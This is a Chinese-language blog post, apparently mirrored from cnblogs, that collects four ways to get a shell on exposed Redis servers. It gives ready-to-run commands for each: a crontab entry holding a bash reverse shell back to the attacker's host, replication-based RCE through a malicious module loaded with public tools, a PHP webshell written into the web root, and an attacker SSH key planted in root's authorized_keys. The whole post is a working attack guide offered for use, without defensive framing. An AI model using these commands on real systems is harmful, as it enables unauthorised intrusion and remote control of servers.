zoukankan      html  css  js  c++  java
  • Redis getshell姿势总结

    一、crontab-计划任务

    首先现在自己服务器上监听个端口,例如我这里的8888

    nc -lvvp 8888
    

    然后redis上:

    root@kali:~# redis-cli -h 192.168.63.130
    	192.168.63.130:6379> set  xx   "
    * * * * * bash -i >& /dev/tcp/这里写你的服务器IP/8888 0>&1
    "
    	OK
    	192.168.63.130:6379> config set dir /var/spool/cron/
    	OK
    	192.168.63.130:6379> config set dbfilename root
    	OK
    	192.168.63.130:6379> save
    

    然后稍等一会儿,就反弹到shell了,PS:需要等那么一会儿,才会反弹回来,不然也可以先打,然后在监听,因为毕竟计划任务需要一点时间。

    二、利用主从复制RCE

    漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
    git clone https://github.com/Ridter/redis-rce.git
    

    python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

    so文件是通过RedisModules make生成的。

    三、写入webshell

    CONFIG SET dir /path/www/html     # 修改备份目录  
    CONGIG SET dbfilename trojan.php  # 修改备份文件名为我们的shell名
    SET trojan "<?php system($_GET['cmd']);?>"
    BGSAVE  
    DEL payload  
    CONFIG SET dir /usr/local/redis  
    CONGIG SET dbfilename dump.rdb 
    #最好使用CONFIG GET 看看原来啥样就回复成啥样
    

    四、写ssh-keygen公钥然后使用私钥登录

    如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
    利用条件:
    a.Redis服务使用ROOT账号启动
    b.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
    操作流程:
    Step 1:首先在本地生成一对密钥:
    Copy
    root@kali:~/.ssh# ssh-keygen -t rsa#注意看哈,生成的目录。

    查看密钥:

    然后在redis执行命令

    192.168.63.130:6379> config set dir /root/.ssh/
    	OK
    	192.168.63.130:6379> config set dbfilename authorized_keys
    	OK
    	192.168.63.130:6379> set x " AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx"
    	OK
    	192.168.63.130:6379> save
    	OK
    

    之后直接使用公钥登录即可

  • 相关阅读:
    python的几个实例程序员节日快乐
    用python的time库写一个进度条
    用python绘画一些简单图片
    头文件板子
    Codeforces 606-C:Sorting Railway Cars(LIS)
    中南林业科技大学第十一届程序设计大赛- I:背包问题
    离散数学:用C语言来判断集合存在的二元关系
    中南林业科技大学第十一届程序设计大赛-C:有趣的二进制
    POJ 1611:The Suspects(并查集)
    POJ 2236:Wireless Network(并查集)
  • 原文地址:https://www.cnblogs.com/nul1/p/12915304.html
Copyright © 2011-2022 走看看